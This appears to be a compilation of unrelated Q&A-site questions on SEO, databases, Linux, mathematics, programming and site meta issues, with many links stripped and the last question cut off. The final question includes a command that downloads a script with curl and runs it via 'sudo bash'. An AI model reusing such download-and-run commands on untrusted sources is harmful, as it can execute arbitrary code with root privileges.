I'm working as a bit of a webmaster for a guy that runs a network of backlinked websites to increase his PR for a couple of his eCommerce sites. I don't know much about them, I just know they generate content and funnel the link juice back to where it's needed.   He is hell-bent on making SEO as good as possible on every one of the sites under his network. We have a VPS running about 10 of these sites on a single IP address and he has been struck with the somewhat logical assumption that if Google thought they all came from different servers, as opposed to one, their SEO and pagerank would be better. I'm however a little more skeptical of this idea, as I don't see why on earth Google would consider the content generated from the same server more valuable than content generated from different servers.  In terms of SEO, would a network of sites that link to each other benefit from having different IP addresses? Or could they result in a penalty if they all used the same IP address?


Deleting records does not affect unused space in data file

I have a SQL Server 2014 database where one table had around 485 million records.  After deleting around 120 million records, the amount of free space in the data file did not change.  I figured I should have around 80GB more unused space.  Data gets loaded into the table daily and I want to keep the data file from auto growing and using up more disk space.  I did rebuild the only index on the table after the delete, but that didn't help.  Is there a reason I am not seeing more space available in the data file?


I have an installation of Ubuntu 16.04 on a dual boot machine.  Today I went to log in and it wont accept my password.  I tried following this guide:   I ran:  Press Enter for maintenance (or press Control-D to continue): root@mikes-ubuntu:`# mount -o rw,remount / root@mikes-ubuntu:`# ls /home root@mikes-ubuntu:`#   then  root@mikes-ubuntu:`# ls /home root@mikes-ubuntu:`#   According to the tutorial the users should be listed and from there you can reset the password. However, no user is listed at all....  Then I added a new user. However I cant log into that user either...  Press Enter for maintenance (or press Control-D to continue): root@mikes-ubuntu:`# mount -o rw,remount / root@mikes-ubuntu:`# ls /home root@mikes-ubuntu:`# root@mikes-ubuntu:`# ls /home root@mikes-ubuntu:`# ls snap root@mikes-ubuntu:`# adduser mike2 Adding new user 'mike2' ...   Does anyone have any tips on how to salvage this machine?


Changing pixel values using QGIS raster calculator?

How could I convert values of 32767 to 0 using raster calculator in QGIS?


How to fix the weird surface in fluid object

Hi Guys, this is my first time to make a fluid simulation. However, I got some problem. The surface looks so weird. I am trying to make an animation so I do not decide to use sculpt mode to fix it. Is it any other method to fix this problem


Update I was able to get Readiness Tool to run but not the update Now the reediness tool will not even run Security Essentials will run    I have legal Windows 7 to install Do you think that is safe bet to try?    Had some performance issue so I ran MalwareBytes and Security Essentials.     It found some malware that was successfully removed.    I was able to Update Security Essentials and I ran it again for safety and it found nothing additions.     The last successful Windows Update was 5 days ago     Checking for Updates has been running 6 hours CPU 100%  network 0%     Windows6.0-KB947821-v35-x86.mnu fails to install It is supposed to be a tool to address update problems   I fear the registry got hacked to prevent updates     What can I do?  I know Vista.  I got it free.


I'm trying to write a function that creates a folder inside a folder  for example: 'outerfolder/innerfolder' but when I put it inside the mkdir function I get an error,  how am I suppose to do that?  int check; char* dirname = "outerfolder/innerfolder";   check = mkdir(dirname);  // check if directory is created or not  if (!check)     printf("Directory created\n"); else {     printf("Unable to create directory\n");     exit(1); }   which doesnt work.


Why do UAV-derived NDVI values fall far outside -1 to 1 range after empirical line calibration?

This question was marked as being a duplicate of  but I've posted my question because:    I am not using Landsat; and there was no explanation of how to resolve the problem. How would one use conditional logic to rectify the problem?     If it's negative reflectance in the red band causing me grief, why would some of my NDVI maps look fine and others look like the ones in the screenshot? All acquisition dates have negative reflectance in the red.    I used Con() statements to rescale my reflectance maps for a single acquisition date between values of 0 and 1 as per the other thread. I now get a max NDVI of 1 which is good, but my minimum is still negative (< -800). Kind of at my wits end at this point. An NDVI of -800 is mathematically impossible if the reflectance range is 0 to 1.   I am trying to radiometrically calibrate UAV imagery collected using filter-modified digital cameras sourced from Sensefly. In the field, I had a Spectralon tile (99% reflective in the VIS-NIR spectra) in addition to a black ceramic tile. I used a hyperspectral ground sensor with incident light sensor to measure the black tile during and after each flight. Images were processed through eMotion into 12-bit TIFF format then orthomosaiked using Pix4D.   I used ArcGIS to extract mean pixel values for the tiles. Spectralon means had to be extracted separately using individual images shot on the ground since the tile is only 3x3 inches. The multiband orthos were split into single bands using Arc as well. I then ran a linear regression (PROC REG in SAS) between the mean pixel value in a given channel and the closest ground sensor channel. Since then, I've slowly been applying the regression equations to the respective bands using the raster calculator.   My problem is that my NDVI values calculated using the calibrated imagery do not make any sense at all. The min/max ranges go from -600 to well over 2000, sometimes even 2 x 10^6! Pix4D also has a built into radiometric calibration tool which uses only a Spectralon tile (I've since been told that 99% reflectivity is too much for this tool) and the NDVI values I calculated using those reflectance maps generally make sense, but mine should be better since I use 2 tie points instead of 1.  To make matters more confusing, I have one flight (see below) where I had a black, a camo-green, and a white ceramic tile in addition to the Spectralon. That calibration looks beautiful. I also have 2 flights with black, green, and Spectralon tiles.   Attached are several screenshots from Arc that show the min/max NDVI values from the two custom calibration methods. I have one from Pix4D but I do not have the reputation to attach it.


Polynomials, prove exercise question about question

There is a polynomial P with integer coefficients and with pairwise different integers $a,b,c$ . Prove that it is not possible for $P(a) = b$, $P(b)=c$, $P(c) = a$  First off I don't understand "pairwise different" part - what does it mean ,can you show me this as an equation? After that I'd like to get a hint in case I don't make it. + I'd prefer to have hints/answers written more algebraically without $\sum$ etc. (It helps me get better understanding what's going on under the hood)


I have some podcasts on my radio server which contain a timestamp when they should be played. I noticed one of them is put into single quotes 'filename.mp3', and I'm unable to remove them. Check this:  4,0K drwxr-xr-x 2 user group 4,0K  4. Apr 20:40 . 4,0K drwxrwsr-x 6 user group 4,0K  4. Apr 20:28 ..  83M -rw-r--r-- 1 user group  83M  4. Apr 20:32 2016-03-09-22-00-moshtrocity.mp3 173M -rw-r--r-- 1 user group 173M  4. Apr 20:40 2016-03-25-10-00-funkfabrik-classic-25.mp3  53M -rw-r--r-- 1 user group  53M  4. Apr 20:41 '2016-04-01-21-00-Wasted Fridays.mp3'   Now, I tried to escape the \' like that, but I get:   $ mv \'2016-04-01-21-00-Wasted\ Fridays.mp3\' 2016-04-01-21-00-Wasted\ Fridays.mp3  mv: cannot stat ''\''2016-04-01-21-00-Wasted Fridays.mp3'\''': No such file or directory   Now, it looks like it ignores the quotes. I tried without, look at this:   $ mv 2016-04-01-21-00-Wasted\ Fridays.mp3 2016-04-01-21-00-Wasted\ Fridays.mp3 mv: '2016-04-01-21-00-Wasted Fridays.mp3' and '2016-04-01-21-00-Wasted Fridays.mp3' are the same file   Uh, how to deal with that? How to remove a single quote from a file name?  I'm on ArchLinux if this matters. Filesystem is ext4.


If I pay off lease amount early for a car, is there any impact on my credit?  Let's say I'm paying $400/month for 36 months, which is 14,400 total. If I pay 14,400 within 6 months, are there any disadvantages on my credit?


Logins aren't syncing across Availability Groups

We have 2 servers in an AlwaysOn group.  While the user accounts within each synchronized database exist on both servers, the database instance level logins only exist on one of the servers. Ie DBINSTANCE->Security->Logins are missing on one server.  Therefore when there is a failover, I get login failures on the second server (which doesn't have the corresponding instance level logins).  How do I overcome this issue? Was I supposed to set up the user account in a special way?


Prove the inverse of a strictly increasing function is differentiable.

So, I was given the following problem as part of a homework assignment.     Suppose $f'(x) > 0$ in $(a,b)$. Prove that $f$ is strictly increasing in $(a,b)$, and let $g$ be its inverse function. Prove that $g$ is differentiable, and that   $$g'(f(x)) = \frac{1}{f'(x)}$$   I have proven that $f$ is strictly increasing in $(a,b)$, and I could prove that $g'(f(x)) = 1/f'(x)$ if I could prove that $g$ is differentiable. The problem is that I am having trouble with a proof of that. Any advice?   Also, as a reference, this is exercise 5.2 from Baby Rudin.


I've encountered the following problem in complex analysis:  Prove that if $f$ is a real continuous function such that $|f|\le 1$ then $|\int_{|z|=1} f(z)dz| \le 4$.  I've decomposed $f$ to it's real and imaginary parts and got that it's enough to prove that:  $(\int_0^{2\pi}cos(\theta)g(\theta)d\theta)^2 +(\int_0^{2\pi}sin(\theta)g(\theta)d\theta)^2 \le 16$   Where $g(\theta)=f(e^{i\theta})$.   But now I'm stuck. Any ideas?  Thanks


How to pass a PHP object NOT by reference

In PHP objects are automatically passed by reference:  $obj1 = new stdClass(); $obj1->foo = 'bar'; $obj2 = $obj1; $obj2->foo = 'OOF'; var_dump($obj1->foo); // OOF   Is there an elegant way to copy that variable and NOT refer to the original variable? I want to store a copy of an object and then modify it without effecting the original. Thanks.


I am trying to draw just the nodes (no sides) at the vertices of a regular hexagon.  should be easily modified to accomplish what I want, but I am such a novice that I have difficulty understanding the example. Ideally, each vertex would be a separate named node so that I can easily draw edges between them (I will be making several different graphs using these same nodes).


I am reopening an issue about:     RuntimeError: ERROR 000824: The tool is not licensed   Since I could not find the answer to my problem in previous issues.  I am running a script.py in Anaconda. The scripts requires arcpy that I can import to python.  When I run the script, everything seems alright until the end where I get the following error:   File "C:\Program Files (x86)\ArcGIS\Desktop10.5\ArcPy\arcpy\sa\Functions.py", line 4483, in Times     in_raster_or_constant2)   File "C:\Program Files (x86)\ArcGIS\Desktop10.5\ArcPy\arcpy\sa\Utils.py", line 53, in swapper     result = wrapper(*args, **kwargs)   File "C:\Program Files (x86)\ArcGIS\Desktop10.5\ArcPy\arcpy\sa\Functions.py", line 4480, in Wrapper     ["Times", in_raster_or_constant1, in_raster_or_constant2]) RuntimeError: ERROR 000824: The tool is not licensed.  I have checked my extensions in ArcMap and all of them are ticked. In addition, I have a license for ArcGIS that I had previously authorized.  I cannot figure it out and I don't know which tools are not licensed.


I have a MYSQL database which looks like this:   ID      | Name    | Product  --------+---------+----------  65644   | Charlie | Beer  65644   | John    | Beer  65644   | Jan     | Beer  65644   | Phoebe  | Beer  65644   | Shaun   | Beer   I would like to output a table using php to look something like this:   ID      |               Name                | Product  --------+-----------------------------------+----------  65644   | Charlie, John, Jan, Phoebe, Shaun | Beer   Currently I've only been able to output it to look like this first table. Any help would be greatly appreciated.


Things I know already  1) Rubber sheet analogy of GR is yet another misleading piece of info 2) differential geometry makes sense 3) equivalence principle makes sense 4) special relativity makes sense     I am trying to develop a better understanding of curvature in space-time.    Current Dilema  Trying to refine understanding of the effect of curved space-time on a stationary object. We all know that stationary objects do fall. Curvature, I reasoned, can surely only be experienced, (and therefore only cause an effect, such as an apparent acceleration), if an object has a trajectory; if it is moving relative to the curve.  Massive stationary objects have a trajectory only in time, so the answer must be that curvature of time alone can be responsible for the effects we call gravity.  Question I Think I Need to Ask  This is a theoretical scenario. A point mass is; a) stationary in b) a spatially flat volume, which c) is curved in time in a simple way (a geometry that is purely theoretical, but allows the question to focus on the effects of time) d) by what mechanism does this mass experience a change in velocity?     I know I haven't used many mainstream GR terms, but I hope the question makes sense.  Other Aspects  Curved space is not a massive conceptual challenge, but curvature in space-time is more difficult. There seem to be less familiar concepts to relate distortions of the temporal dimension to.   The answer I am not looking for is that GR can only be "understood" by directly using the maths. In this case I would initially think that would really just mean you don't know (It's not like the philosophy struggle people go through with, for example, the meaning of wave-functions).  However, I'd be happy to be pointed to a mathematical treatment of this kind of scenario that I can scrutinise; (that will be easier for me if lower level constructs are used).  Thanks in advance for your help.


Why did the `files` sidebar shortcut bg turned orange?

I has the files shortcut in my sidebar forever, as i opened it it's background always went red, one day as I opened it it's Bg went yellow/orange.  Nothing else seems to have changed except by the bg color.  I`m very curious as i have never seen this happen before and no one I asked so far gave me an answer. Why did this happen? (14.04)


Does the game really restart after 90 minutes?

Does the game really reset after an hour and a half?  If it doesn't reset but does something cool instead, please leave that in a spoiler tag - I just want to know whether or not I'm going to lose my save and have to start over...


$1+2+3+...+n = n(n+1)/2$ but how did somebody discover this?

The sum of $1+2+3+ . . . +n = n(n+1)/2$, as I have checked carefully, but how can you prove this?  I am determining the dimension of the space of $n x n$ matrices in the upper triangular form, and it is clear to me that the number of basis matrices has to be $1 + 2 + 3 + . . . +n$.  I found in a book that the number of basis matrices for a U.T. matrix is $n(n+1)/2$, which matches my idea but it is certainly a much more elegant way to put it.  But how do you go from one to the other?


How to get the exact file size in linux?

I would like to get individual file size, all used file size in the disk and usable the maximum file size in the disk. In linux, commands for checking file sizes such as "du", "df", "ls -l" are prepared.  However, the result is different when examining the total size of the files used in "df -h" and when examining the total size of the file used in "du -shc /*".  result of df,  $df -h Filesystem      Size  Used Avail Use% Mounted on ubi0:rootfs     435M  195M  240M  45% / devtmpfs         88M  4.0K   88M   1% /dev tmpfs           248M  168K  248M   1% /run tmpfs           248M  124K  248M   1% /var/volatile   result of du,  $du -shc /* 3.3M    /bin 1.2M    /boot 4.0K    /dev 5.5M    /etc 38M     /home 9.7M    /lib 0       /media 0       /mnt 12K     /opt 0       /proc 168K    /run 2.5M    /sbin 0       /sys 0       /tmp 45M     /unit_tests 273M    /usr 228M    /var 36K     /www 605M    total   Which command shows the exact file size? Or, what other command can be executed to obtain the correct file size?


How to restore permanently deleted records?

Hi i want to get the deleted records (records deleted from recycle bin of sales force).can any one help on this i tried this soql query retrive deleted records but its result showing error:  "SELECT Id, Name,ISDeleted  FROM lead WHERE ISDeleted = true"


Number of Possible Frequencies in Visible Spectum

Quantum physics says that energy is quantised, and since the energy of a photon is only dependent on the wavelength, the wavelength of a photon is quantised. This means that even though an infinite amount of numbers exist between 380 and 700, there is a finite amount of wavelength a photon can have between 380nm and 700nm.  1) How can I mathematical predict if it is possible for a photon to have a given frequency?  2) How many possible frequencies can a photon have within the ?   3) In general, in there an equation for how many possible frequencies a photon can have within any given range?  Edit: I managed to find an answer on . "[T]he frequency available [for a photon of light] is continuous and has no upper or lower bound, so there is no finite lower limit or upper limit on the possible energy of a photon." I think that what it is meant when physicists say 'energy is quantized' is that particles of matter have quantized energy levels, but the energy levels of particles carrying energy between that matter (e.g. photons) are not quantized.


What's the best Dominion expansion for beating big money-style strategies?

I'm a decently experienced Dominion player (I have the Base set, Intrigue, Seaside, Prosperity and Hinterlands is on it's way) and I'm wondering what would be a good next expansion for beating big-money style strategies?  Any thoughts?


I have 2 non-system SATA HDDs which are not mapped to a dir and normally kept 'offline' on my Windows 7 OS. Even this way they spin up from time to time, including but not limited to windows update times.  It's easy on Linux but, what is the best way to spin down a HDD on demand using as small 3rd party software as possible on Windows? Or even, is there a 3rd party software allowing this?


Show that for a field $F$, the polynomial ring $F[x_1, x_2, \ldots, x_n]$ is not a PID for $n>1$.

I want clarification of the following solution:  Let $I=(x_1)+(x_2)$ be an ideal of $F[x_1, x_2, \ldots, x_n]$. Then if $I=(f)$ is principal then we must have $f \in F \backslash \{0\}$ since $\gcd(x_1, x_2)=1$ and $f \mid x_1,\ f \mid x_2$. Why?  But $I \cap F =\{0\}$. Why?  Contradiction, why?


split conjugacy class in $S_n$ into two equal size conjugacy classes in $A_n$

Let $n>2$ and $\tau\in A_n$ and let $C=\{g\tau g^{-1}|g\in S_n\}$ be the conjugacy class of $\tau$ in $S_n$.  Suppose that there is no odd element $x\in S_n$ such that $\tau x=x\tau$.  Prove that $C$ is a  union of two disjoint conjugacy classes in $A_n$.  I managed to observe that if $\sigma_1\in S_n$ an even element and $\sigma_2\in S_n$ an odd element, then:  $\sigma_1\tau\sigma_1^{-1}\neq\sigma_2\tau\sigma_2^{-1}$ otherwise we get that the odd element $x=\sigma_2^{-1}\sigma_1$ commutes with $\tau$.  So, I got one conjugacy class to be the conjugacy class of $\tau$ in $A_n$, say $Q$. It is now clear that it contains all the elements in $C$ of the form $g\tau g^{-1}$ for $g$ even. But I couldn't prove that $C\setminus Q$ can be generated by a conjugacy class in $A_n$ and moreover the sizes equivalence $|Q|=|C\setminus Q|$.


I wanted to buy a bike and started checking for one online. I went through some nice ones on Aliexpress.com but the price is very suspicious to me. It's not just the price but also the free shipping via those expensive shipping companies.  Can someone (especially someone who understands Chinese) tell me if those are real bikes?   Check  link as an example.


Are virtual particles only a fictive tool in equations?

There is no "action at a distance" in nature. Attraction of a piece of iron by a magnet, attraction between distant electric charges of opposite sign, have to be mediated by something. The  are proposed as an explanation.  If they have an observable effect, it seems like they must exist. If so, why do we call them virtual? It can't be that they have short lifetimes, as there are short-lived particles (resonances) that we don't call "virtual."  On the other hand, some people say that the so-called virtual particles only exist on paper, or that they are just a technique to help us handle our equations.  So what is the meaning of the word "virtual" here? Do these particles really exist, or not?


If I have 3GB RAM, can I install a 64-bit Ubuntu? I'm a little confused because when choosing  the 32-bit it says it's for machines with less than 2GB RAM.


Showing Non-Uniform Convergence [Proof Verification]

Suppose we have the following sequence of functions: $f_n:[0,1]\to \mathbb{R}$  $$ f_n(x)=nx(1-x)^n$$  I need to show this sequence does not converge uniformly to $f(x)=0$  For my definition of uniform convergence I am using:    $f_n,f:I\to \mathbb{R} \\ \qquad f_n \rightrightarrows f \iff \text{if} \enspace \forall \epsilon \enspace \exists n_0 \enspace \text{such that} \enspace \forall n\ge n_0 \enspace \text{then}:$  $$\sup_{x\in I}|f_n(x)-f(x)|<\epsilon$$    What I've done: (I'm not sure if it is correct)  If I fixate n=1, clearly we have $f_1(x)=1-x^2$, in this case, I could say  $$ \sup_{x\in [0,1]}|1-x^2-0|\ge 1$$  Does this show our sequence of functions does not converge uniformly to the 0 function? I guess I'm having trouble taking the negation of the definition of uniform convergence.


How can I stop macOS from converting three dots "..." to a single threedot character "…"?

note: the first set of three dots in the title is definitely three separate dots, and the second is one character when I select it during editing. However viewing the posted in Safari both select as a single character.  I sometimes write explicitly three periods in a row "..." in a text field in TextEdit or in Keynote when discussing a bit of code or script, (e.g. X[..., 1] in Python puts a 1 in the last axis of a multidimensional array) and either Keynote or macOS says "Oh, I'm going to change what you typed to something you probably wanted instead" and converts it to X[…, 1] I would like my laptop to stop doing that, in Keynote and basically anywhere! How can I do this? macOS 10.15.6 "Bonus points" for sharing how to stop it from putting periods at the ends of anything it thinks might be a sentence.  I have found that on a case-by-case basis I can stop and undo what is already done, but I just want to suppress this behavior from the beginning.


Why did the last Availability Group failover occur?

My SQL Server 2016 Availability Group failed over to the secondary node within the cluster. I'm not sure when this happened and to save time trawling back through the logs: Is there a quick and easy way to check when & why the last failover occurred?


Energy balance of this machine is positive. What is wrong?

Machine on this picture is inspired by video:    There must be error in the computation of energy balance or there is another negative energy. Can you help me?


Why is $A^TA$ invertible if $A$ has independent columns?

How can I understand that $A^TA$ is invertible if $A$ has independent columns? I found a similar , phrased the other way around, so I tried to use the theorem  $$ rank(A^TA) \le min(rank(A^T),rank(A)) $$  Given $rank(A) = rank(A^T) = n$ and $A^TA$ produces an $n\times n$ matrix, I can't seem to prove that $rank(A^TA)$ is actually $n$.  I also tried to look at the question another way with the matrices  $$ A^TA = \begin{bmatrix}a_1^T \\ a_2^T \\ \ldots \\ a_n^T \end{bmatrix}   \begin{bmatrix}a_1 a_2 \ldots a_n \end{bmatrix} = \begin{bmatrix}A^Ta_1 A^Ta^2 \ldots A^Ta_n\end{bmatrix} $$  But I still can't seem to show that $A^TA$ is invertible. So, how should I get a better understanding of why $A^TA$ is invertible if $A$ has independent columns?


Information on the sum $\sum_{n=1}^\infty \frac{\log n}{n!}$

In my personal study of interesting sums, I came up with the following sum that I could not evaluate:  $$\sum_{n=1}^\infty \frac{\log n}{n!} = 0.60378\dots$$  I would be very interested to see what can be done to this sum.  Does a closed form of this fascinating sum exist?


Moving Database SQL Server 2012 to 2008/R2

I'm planning to move a Large Database from SQL Server 2012 to 2008/R2. I tried the scripting thing, it works on a small-medium type of database but not on Large database w/c is about a hundred MB. Any tips on how can I make this? Or Is it recommended to do this for a Large Databases?


How to disable application window previews rotation in Unity 3D?

I'm using Ubuntu 12.04 with 3d unity.  When I have several windows of the same application (say Nautilus) opened and I click on its launcher (in unity app launcher bar) window previews appear offering me to select which window I want to activate. But sometimes I can't recognize for sure which one I needed by those previews. So I'm clicking one of them. If wrong window is activated I'm clicking the launcher again, and trying next window. But then I found that those previews changed their positions (rotated). So I can't predict those window order to iterate them all without repetition.  I would like to disable that "windows preview rotation" feature.  Is it possible?


Introducing Tcl-version tags actively prevented with Q-rollbacks

For  I tried to introduce a  in addition to the pre-existing Tcl tag. Two users already edited/rolledback the question so that the additional tag is not used.  However, the Tcl programming language versions 8.4, 8.5, and 8.6 use different syntax constructs. The nature of Tcl is such that it often is used in a (proprietary) 3rd party application which comes linked against a particular Tcl version which cannot be changed.  Therefore my question is specifically targeted at Tcl8.4. And from a quick glimpse over a few of the other ~250 Tcl questions apparently there are some more questions that are explicitly in the domain of one particular Tcl version.  I can imagine that for non-Tcl users or those not bound to a particular version by 3rd party tools it may seem strange to try and subcategorize a domain of about 250 questions into smaller subdomains, but I believe the special use model of Tcl (probably the most important purposes for its inception) warrants those tags.  Meanwhile I've added a tag description for the Tcl8.4 version tag, and created a Tcl8.5 version tag when adding it to another Tcl question. Now I stopped doing that based on the discouragement received on my initial 8.4 tag.  My questions here are:   How should I react to the rollbacks? Are you in favor of version tags for a programming language? If not, why not? Are there any costs involved on the server backend (database, indexing, etc) when a new tag is created?


NPN low transistor voltage in emitter despite high voltage collector

I'm having a problem running fairly easy transistor case. I'd like to feed 12V to a short (9 diodes) LED strip using a signal from 3.3v controller. However after reading multiple articles on transistors, I can't wire this up correctly.  In this curcuit I'm using 2N3904 NPN transistor.  So I placed R1 so that there's 1mA current going to collector's base pin.  Collector is wirred directly to 12V and collector has:   R2 as a pulldown resistor, so that it's grounded a short  white strip (so that it doesn't exceed 200mA)   My intention here is to simply control 12v led stripe with a low voltage microcontroller.         – Schematic created using   The problem with this design is that I have only 2.7V on emitter when the button (SW1) is pressed - which looks like as if the base was used as a collector but I have checked the wiring with transistor datasheet multiple times.  I think I'm missing something very obvious, any ideas?


A projection satisfying $\| Px \| \leq \|x\|$ for all $x$ is an orthogonal projection

How to prove that if $V$ is a finite dimensional inner product space and $W$ a subspace of $V$, if $P$ is projection map ($P^2=P$) having $W$ as its range and is such that $\|Px\| \leq \|x\|$ for all $x \in V$, then $P$ is orthogonal projection of $V$ onto $W$.


I offered a friend to help translate from English some parts of his (mostly) Hebrew install. Then he told me two things:   1) That he's running 2.8 (he was worried about updating because he didn't want the design to break)   and 2) That he has reason to suspect that the site is infected with a trojan horse since it gets blocked by some antiviruses.  1) What is the best way to go about upgrading? is it even feasible to start on a fresh installation and still have everything intact? including redirects? or will I have to go about it as per WP's documentation: step by step upgrading.  2) What can be done about the trojan horse? this is why I'm contemplating a fresh install, which I know is probably not recommended.  Thank you in advance


Cannot vote on question although 40 votes limit not reached

I've hit the 40 daily vote limit wall and yet can see on my profile I have 7 votes yet to give to actually reach that ceiling. The votes remain and I am unable to cast them. According to a recent :  The daily vote limit used to be 30 votes per day; we’ve increased that to 40 votes per day. But the last 10 of those votes can only be cast on questions.  This does not work for me. I cannot upvote any more questions although I have only done 33 votes today.


Can someone please help me understand what exactly viewDidLoad()does? I know its called when the view controller is first loaded into memory. I addition, I am aware I can treat it as a main(). But I would like to know more about it. What does it reference too? UIView? It loads and treats all the buttons, labels, etc? Having a detailed and well explained overview would help!   In addition, I'm also confused about override. Does it add code to existent viewDidLoad()?  Thank you!    override func viewDidLoad() {      super.viewDidLoad()     // Do any additional setup after loading the view, typically from a nib. }   P.S I am new here, feel free to leave any comments about my question formatting.


Render just part of a final image from Cycles?

I'm using an older Nvidia chip that hates running viewport renders, and I need to check if changes to the materials on a few objects not far from the center of my scene are (I'm rendering a floorplan with an orthographic camera from above, so I'm looking down on objects and want to check if the displacement materials are working correctly).  Is there any way to select a bit of the image and have it render first or without having to render the rest of the image? I'm aware that you can tell the image to render from an edge, but my stuff's about equidistant from either side of the scene.


Identification of an insect found near Shirdi, Maharashtra

I found the insect nside house near Shirdi, Maharashtra. I have captured the image


Improving browsing and voting by a "voted" visual clue in question lists

(EDIT: I now see after having posted that it . But I think it is worth considering again.)  It is different from a previous .  And I am not requesting to   because I believe you should read the whole question before deciding to vote.  The idea is to have a visual sign that you have upvoted/(downvoted) a given question in question lists and in particular in favorite lists.  One has already a visual clue that a question has been accepted and that one has favorited a question. I think that it would be useful, especially in the favorite list (where by definition you have only questions that you have favorited), to have a visual clue that you have voted this question up as well.  Your use of the site may vary, but I often favorite a question when I intend to go back to it later, as a kind of reminder. I do not always upvote the question or its answer since I may need time to read and assess it carefully.  It would among other things allow to go on recently changed questions for which you have still the possibility to upvote.  Another use on classical question lists is to allow to go quickly to potential interesting questions that you can upvote if it is deserved.  Going through old questions (especially with ambiguous titles), this is also quite handy to check if one has already been there or not.


Hey is Huawei matebook d 14 ryzen 5 2500u running well on Ubuntu? Or any other Linux distribution?I couldn't find information online just that there are some problems with ryzen 5 2500u.


Validation of Models with Different Scale Data

I created a model for two different datasets that have different scales. When checking which one performed better, I am struggling with figuring out the best methodology. My top choices right now are R^2, RMSE, and variance. However, R^2 seems to be the only option that works best in my opinion because it doesn't seem to take into account the scale of the data but wondering if there are options such as normalizing the numbers etc.   Below is a sample situation:        Date      Group      Actual_Values       Predicted_Values 2020-04-24          A              0.181                  0.140 2020-04-27          A              0.190                  0.127 2020-04-28          A              0.188                  0.126 2020-04-29          A              0.188                  0.123 2020-04-30          A              0.185                  0.122 2020-05-01          A              0.178                  0.124 2020-05-04          A              0.182                  0.118 2020-05-05          A              0.180                  0.120 2020-05-06          A              0.178                  0.120 2020-05-07          A              0.180                  0.121 2020-05-08          A              0.184                  0.124  2020-04-24          B              86.24                  86.25 2020-04-27          B              94.00                  86.65 2020-04-28          B              98.44                  86.88 2020-04-29          B              107.3                  87.05 2020-04-30          B              94.26                  87.27 2020-05-01          B              96.71                  87.42 2020-05-04          B              92.28                  87.59 2020-05-05          B              90.97                  87.73 2020-05-06          B              87.47                  87.80 2020-05-07          B              88.93                  87.90 2020-05-08          B              92.41                  87.93   From this dataset I tested the following code:  library(ModelMetrics) with_rmse<- historical_results %>%   group_by(Group) %>%   summarise(     RMSE = rmse(Predicted_Values, Actual_Values)     ,R2 = cor(Predicted_Values, Actual_Values)^2     ,variance = abs(var(Predicted_Values, Actual_Values))   )  Group           RMSE            R2      variance     A     0.05929241    0.02067078  3.548883e-06        B       8.461625    0.02991999     0.5624356   So for example, the above results like 8.4 for RMSE may actually be good but looks bad just because the original values were higher than A. Any help would be great, thanks!


I cant seem to figure out matching for a bejeweled clone

I'm trying to match at least 3 objects to each other in the most efficient way. I keep getting a null pointer error. I've tried a few different approaches and can't seem to figure it out. Any help would be much appreciated.  protected void boardFill(ArrayList<ArrayList<T>> twoDList) {     for (int x = 0; x < COL; x++) {         twoDList.add(new ArrayList<T>());         for(int y = 0; y < ROW; y++) {             twoDList.get(x).add(gems.newGem());                      }               }      for (int i = 0; i < COL; i++) {         for (int j = 0; j < ROW; j++) {             getObject(i, j, twoDList.get(i).get(j));         }     } }  /*  * move pieces down after being removed  */ public void drop() { }  /*  * check if position is legal to move/swap  */ public boolean legal(int row, int col) {           return false; }  /*  * check if pieces are matching  */ public boolean matching(int r, int c) {     boolean flag = false;     return flag; }  public void getObject(int i, int j, T type) {    if (twoDList.get(i).get(j) == type) {        coordinates.add(twoDList.get(i).get(j));         if (i-1 >= 0) getObject(i - 1, j, type);        if (i+1 < ROW) getObject(i + 1, j, type);        if (j-1 >= 0) getObject(i, j - 1, type);        if (j+1 < COL) getObject(i, j + 1, type);    } }


How do I unlock the museum collectibles in Puzzle Craft?

I have been playing Puzzle Craft, and trying to unlock the collectibles such as the cards, chess pieces, etc.  Obviously, to a certain extent, the drops are random, which makes it hard to tell whether I'm on the right track or not.  The ones I've received so far have been in chests.  What level of chest is required for each level of collectable?  Are there any other ways to earn them?


What is the motivation behind free groups?

I have started studying free groups but cannot get motivation behind it. I know that a free group $F_A$ over the set $A$ consisting of all combinations or expressions that can be built from the members of $A$.  But why would one want to do such a construction? What is the motivation behind it


Is it appropriate to add third-party tracking scripts or web bugs to individual questions, answers, and profile pages?

On several sites (SO, Money), a  has added third-party  to questions, answers, and his profile pages. Is this appropriate, or should these tracking beacons be removed from posts?  In my opinion, this behavior should be strongly discouraged because it raises potentially thorny issues of consent. By using the SE family of sites, I agree to their terms of service (and the terms of service of any third-party providers that they use) that govern how they use any information they collect from me. However, I have no such agreement with every user on every SE site and/or every third-party tracking tool out there, which means that any information collected from me through these sources is essentially ungoverned and done without my implicit/explicit agreement.    To be clear, this question is similar to the linked question, but I think it's worthwhile to clarify that this behavior is disallowed everywhere, not just in user profile pages.


An exercise about nilpotent quotient groups

Let $G$ be a finite group and $N$ be a normal subgroup of $G$ such that $G/N$ is nilpotent.  a) Prove that there exists a nilpotent subgroup $K$ of $G$  such that $G=NK.$  b) Suppose that $N$ is abelian and $Z\left(G\right) =\lbrace e \rbrace.$ Show that if $K$ is nilpotent and $G=NK$ then $K=N_G\left(K\right)$ and $K \cap N =\lbrace e \rbrace.$  Could anyone help me to give a solution for the problem! thank you!


Failed to fetch curl when trying to install, 404 Not Found

Attempting to revert a Chromebox with Windows 10 on it back to ChromeOS, using Ubuntu on a live boot to run a custom script to update the firmware. Basically, in order to run this command:  cd ~; curl -L -O ; sudo bash firmware-util.sh  I have to have curl installed, so I try to install curl from the terminal, but this is the error message I get back:  ubuntu@ubuntu:~$ sudo apt install curl Reading package lists... Done Building dependency tree        Reading state information... Done The following additional packages will be installed:  libcurl4 The following NEW packages will be installed:  curl libcurl4 0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded. Need to get 373 kB of archives. After this operation, 1036 kB of additional disk space will be used. Do you want to continue? [Y/n] Y Ign:1 http://security.ubuntu.com/ubuntu bionic-security/main amd64 libcurl4 amd64 7.58.0-2ubuntu3.6 Err:1 http://archive.ubuntu.com/ubuntu bionic-security/main amd64 libcurl4 amd64 7.58.0-2ubuntu3.6 404  Not Found [IP: 91.189.88.24 80] Ign:2 http://security.ubuntu.com/ubuntu bionic-security/main amd64 curl amd64 7.58.0-2ubuntu3.6 Err:2 http://archive.ubuntu.com/ubuntu bionic-security/main amd64 curl amd64 7.58.0-2ubuntu3.6 404  Not Found [IP: 91.189.88.24 80] E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4_7.58.0-2ubuntu3.6_amd64.deb  404  Not Found [IP: 91.189.88.24 80] E: Failed to fetch 